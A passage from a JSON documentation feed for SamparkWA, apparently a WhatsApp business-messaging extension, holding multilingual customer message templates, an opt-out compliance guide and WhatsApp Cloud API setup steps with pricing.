{{end_date}} tak. Book karein: {{booking_link}}\n\n[Hinglish] Service feedback:\nHi {{name}}! Aapne {{business_name}} se {{service}} liya. Humara service kaisa laga? Review dein: {{review_link}}. Aapki feedback valuable hai!\n\n---\n\nCoaching Centre Templates\n\n[Hinglish] Fee reminder:\nDear {{parent_name}}, {{institute_name}} se reminder hai ki {{student_name}} ki quarterly fee Rs. {{fee_amount}} ki {{due_date}} tak due hai. Kripya UPI {{upi_id}} par payment karein. Thanks!\n\n[Hindi] Fee reminder:\nप्रिय {{parent_name}}, {{institute_name}} की ओर से याद दिलाना है कि {{student_name}} की तिमाही फीस Rs. {{fee_amount}} की {{due_date}} तक देय है। कृपया UPI {{upi_id}} पर भुगतान करें। धन्यवाद!\n\n[Hinglish] Test result:\nDear {{parent_name}}, {{student_name}} ne aaj ke {{subject}} test me {{score}}/{{total_marks}} score kiya hai. Class average: {{class_average}}. Detail report: {{report_link}}\n\n[Hinglish] Batch timing change:\nDear {{student_name}}, {{institute_name}} me {{batch_name}} batch ka new timing {{new_timing}} ho gaya hai, effective {{effective_date}} se. Kripya note kar lein. Thank you!\n\n[Hindi] Holiday announcement:\nप्रिय {{student_name}}, हम आपको सूचित करना चाहते हैं कि {{institute_name}} {{holiday_date}} को {{occasion}} के कारण बंद रहेगा। कक्षाएं {{reopen_date}} से शुरू होंगी। धन्यवाद!\n\n---\n\nRetail & Kirana Templates\n\n[Hinglish] New stock arrival:\nHi {{name}}! 📦 {{business_name}} me naya stock aa gaya hai - {{product_name}} sirf Rs. {{price}} me! Stock limited hai, jaldi aayein. Address: {{shop_address}}\n\n[Hindi] Pending khata reminder:\nनमस्ते {{name}}, आपके {{business_name}} पर Rs. {{pending_amount}} का बकाया है। कृपया जल्द से जल्द भुगतान करें। UPI: {{upi_id}}। धन्यवाद!\n\n[Hinglish] Pending khata reminder:\nHi {{name}}, aapke {{business_name}} par Rs. {{pending_amount}} ke pending hain. Kripya jaldi clear karein. UPI: {{upi_id}}. Thank you!\n\n[English] Festive sale:\nHi {{name}}! 🎉 Diwali Mega Sale at {{business_name}}! Flat 20% off on all groceries from {{start_date}} to {{end_date}}. Free gift on purchases above Rs. 500!\n\n[Hinglish] We miss you:\nHi {{name}}! Hum aapko miss kar rahe hain 🙏 {{business_name}} par special 10% discount agli purchase par. Code: MISS10. Valid till {{expiry_date}}. Aaj aayein!\n\n---\n\nRepair Shop Templates\n\n[Hinglish] Device ready for pickup:\nHi {{name}}! ✅ Aapka {{device_model}} repair ho gaya hai. Pickup karne ke liye {{shop_address}} par aayein. Repair charges: Rs. {{total_cost}}. Hum Sat-Sun 10am-8pm open hain. Thank you!\n\n[Hindi] Device ready for pickup:\nनमस्ते {{name}}! ✅ आपका {{device_model}} रिपेयर हो गया है। पिकअप करने के लिए {{shop_address}} पर आएं। रिपेयर चार्ज: Rs. {{total_cost}}। हम शनि-रवि 10am-8pm खुले हैं। धन्यवाद!\n\n[Hinglish] Warranty expiry reminder:\nHi {{name}}! Aapke {{device_model}} ki warranty {{warranty_expiry}} ko expire ho rahi hai. Extended warranty le kar faayda uthayein - aaj {{shop_name}} aayein. Details: {{link}}\n\n[English] Repair status update:\nHi {{name}}, update on your {{device_model}} repair: {{status_message}}. We'll notify you when it's ready for pickup. Thank you! - {{shop_name}}\n\n---\n\nClinic & Healthcare Templates\n\n[Hinglish] Appointment reminder:\nHi {{patient_name}}, {{clinic_name}} se reminder hai - Dr. {{doctor_name}} ke saath aapki appointment {{appointment_date}} ko {{appointment_time}} baje hai. Kripya 15 minute pehle aayein. Confirm karne ke liye reply karein.\n\n[Hinglish] Lab report ready:\nHi {{patient_name}}! ✅ Aapki lab report ready hai. Report collect karne ke liye {{clinic_name}} par aayein. Timing: 9am-7pm. Report lekar Dr. {{doctor_name}} se consultation bhi karayein. Thank you!\n\n[English] Follow-up care instructions:\nHi {{patient_name}}, as per Dr. {{doctor_name}}'",
      "summary": "This guide provides 25+ ready-to-use WhatsApp message templates in Hindi, Hinglish, and English for five business verticals. Each template includes variable chips like {{name}}, {{business_name}}, and {{appointment_date}} that auto-fill from your CSV data. Copy any template, paste it into SamparkWA, and start sending in seconds.",
      "date_published": "2026-10-15T00:00:00.000Z",
      "date_modified": "2026-10-15T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "Documentation",
        "SamparkWA",
        "Trustoryx"
      ]
    },
    {
      "id": "https://samparkwa.trustoryx.digital/docs/opt-out-and-compliance-guide",
      "url": "https://samparkwa.trustoryx.digital/docs/opt-out-and-compliance-guide",
      "title": "Opt-Out and Compliance Guide — Managing the Do-Not-Contact Registry",
      "content_text": "What Is the Opt-Out Registry?\n\nThe opt-out registry is a persistent, local-first list of phone numbers that have requested to stop receiving messages from your business. Once a number is added to the registry, SamparkWA automatically excludes it from all future campaigns — even if the number appears in a new CSV import.\n\n[INFO] Why it matters: Messaging customers who have opted out is not just poor practice — it can lead to WhatsApp reports, blocks, and account restrictions. The opt-out registry is your compliance safety net.\n\n---\n\nHow to Add Contacts to the Registry\n\nThere are three ways to add a contact to the opt-out registry:\n\n1. Manual add: Open the SamparkWA Assistant Bar > click 'Opt-Out Registry' > click 'Add Number' > enter the phone number\n2. From campaign: While reviewing a campaign preview, click the 'Opt-Out' button next to any contact to immediately exclude them\n3. From received message: If a customer replies STOP, UNSUBSCRIBE, or similar, SamparkWA detects the opt-out intent and prompts you to add them to the registry\n\n[WARNING] Always honor opt-out requests immediately: When a customer asks to stop receiving messages, add them to the registry right away. Do not wait until the next campaign. Respect for customer preferences is non-negotiable.\n\n---\n\nHow the Registry Persists\n\nThe opt-out registry is stored in your browser's IndexedDB, a persistent local database that survives:\n\n- Browser restarts and computer reboots\n- Cache clears and cookie deletions\n- Extension updates and reloads\n- WhatsApp Web reconnections\n\n[WARNING] Browser data clearing: If you clear all browser data (including site data and extensions), the opt-out registry will be lost. Before clearing browser data, export the registry as a CSV from the Opt-Out Registry panel.\n\n---\n\nWhatsApp Compliance Best Practices\n\nPractice | Details\nAlways include opt-out option | Add 'Reply STOP to unsubscribe' to promotional messages\nHonor opt-outs immediately | Add to registry as soon as a STOP request is received\nDon't message unknown numbers | Only message customers who have shared their number with you\nKeep transactional vs promotional separate | Appointment reminders are transactional; offers are promotional\nLimit frequency | Don't send more than 1-2 promotional messages per week per customer\nPersonalize messages | Use {{name}} and other variables so messages feel personal, not spam\nHuman-confirmed sends only | Never use automation — SamparkWA's human-in-the-loop approach is safest\n\n---\n\nAuditing Your Compliance Status\n\nSamparkWA provides a compliance audit panel that shows:\n\n- Total contacts in the opt-out registry\n- Last 10 opt-out additions with timestamps\n- Campaigns sent in the last 30 days and whether any opted-out contacts were accidentally included (they shouldn't be)\n- Export button to download the full registry as a CSV for record-keeping\n\n[SUCCESS] Trustoryx security standard: The opt-out registry and compliance audit features are part of Trustoryx's cybersecurity engineering standards for small business software — ensuring that privacy and consent are built into the product, not bolted on.",
      "summary": "SamparkWA's persistent opt-out registry ensures that customers who request to stop receiving messages are permanently excluded from all future campaigns. This guide covers how to add contacts to the registry, how it persists across sessions, WhatsApp compliance best practices, and how to audit your compliance status.",
      "date_published": "2026-10-15T00:00:00.000Z",
      "date_modified": "2026-10-15T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "Documentation",
        "SamparkWA",
        "Trustoryx"
      ]
    },
    {
      "id": "https://samparkwa.trustoryx.digital/docs/official-whatsapp-cloud-api-setup",
      "url": "https://samparkwa.trustoryx.digital/docs/official-whatsapp-cloud-api-setup",
      "title": "Official WhatsApp Cloud API Setup — Connecting Meta Business Manager for High-Volume Automation",
      "content_text": "When to Upgrade to the Cloud API\n\nConsider upgrading from WhatsApp Web assisted messaging to the Official Cloud API when:\n\n- You need to send more than 200 messages per day\n- You want automated scheduling and drip campaigns\n- You need delivery analytics and read receipts\n- You want to send interactive messages with buttons and lists\n- You have a dedicated business WhatsApp number separate from your personal one\n\n[INFO] Both can coexist: SamparkWA's core extension and the Cloud API module are decoupled. You can continue using WhatsApp Web assisted messaging for personalized messages while using the Cloud API for bulk template broadcasts.\n\n---\n\nPrerequisites\n\n- A registered business with GST/PAN number (for Meta Business verification)\n- A dedicated phone number not currently linked to any WhatsApp account\n- A Facebook Business Manager account (free to create)\n- Business documents for verification (GST certificate, utility bill, etc.)\n- Approximately 2-7 days for the full verification and approval process\n\n---\n\nStep 1: Create a Meta Business Manager Account\n\n1. Go to business.facebook.com and click 'Create Account'\n2. Enter your business name, your name, and your business email\n3. Complete the Business Manager setup wizard\n4. Add your business details: legal name, address, and website\n\n---\n\nStep 2: Verify Your Business\n\n1. In Business Manager, go to Business Settings > Business Verification\n2. Click 'Start Verification'\n3. Enter your business legal name, address, and phone number\n4. Upload a business document (GST certificate, PAN card, or utility bill)\n5. Wait for Meta to review (typically 1-3 business days)\n6. Once verified, you'll see a green 'Verified' badge\n\n[WARNING] Verification can take time: Meta's business verification process can take 2-7 days depending on document accuracy and verification volume. Start this process before you need the API urgently.\n\n---\n\nStep 3: Submit Message Templates for Approval\n\nThe Cloud API requires pre-approved message templates for business-initiated conversations. Create templates in the WhatsApp Manager:\n\n1. Go to WhatsApp Manager > Message Templates\n2. Click 'Create Template'\n3. Choose category: Marketing, Utility, or Authentication\n4. Write your template with variable placeholders (e.g., 'Hi {{1}}, your appointment is on {{2}}')\n5. Submit for Meta review (typically 1-24 hours)\n6. Once approved, the template is available for use in SamparkWA's Cloud API module\n\n[INFO] Template guidelines: Templates must follow Meta's guidelines: no spam, no misleading content, clear purpose. Variables should be contextual (e.g., {{1}} for name, {{2}} for date). Avoid ALL CAPS and excessive punctuation.\n\n---\n\nStep 4: Connect SamparkWA Cloud API Module\n\nOnce your business is verified and templates are approved, connect the Cloud API module:\n\n1. Open SamparkWA Settings > Cloud API Module\n2. Click 'Connect Meta Business Manager'\n3. Enter your WhatsApp Business Phone Number ID and Access Token from Meta's WhatsApp Manager\n4. Select the approved message templates you want to use\n5. Map template variables to your CSV columns (e.g., {{1}} → name, {{2}} → appointment_date)\n6. Click 'Test Connection' to verify\n7. Start sending automated, Meta-compliant campaigns\n\n---\n\nWhatsApp Cloud API Pricing\n\nCategory | Cost (India) | Details\nMarketing conversations | Rs. 0.58 per conversation | Business-initiated promotional messages\nUtility conversations | Rs. 0.29 per conversation | Business-initiated transactional messages (appointments, alerts)\nAuthentication conversations | Rs. 0.29 per conversation | OTP and verification messages\nService conversations | Free (first 1,000/month) | Customer-initiated conversations; Rs. 0.29 after free tier\n\n[INFO] Pricing subject to change: Meta updates WhatsApp Cloud API pricing periodically. Always check the official WhatsApp Business Platform pricing page for current rates. SamparkWA does not add any markup — you pay Meta directly.",
      "summary": "When your messaging volume exceeds 200 messages per day, SamparkWA's optional Official WhatsApp Cloud API module lets you transition to fully automated, Meta-compliant bulk messaging. This guide walks you through Meta Business Manager verification, message template submission, API credential configuration, and the SamparkWA Cloud API setup wizard.",
      "date_published": "2026-10-15T00:00:00.000Z",
      "date_modified": "2026-10-15T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "Documentation",
        "SamparkWA",
        "Trustoryx"
      ]
    }
  ]
}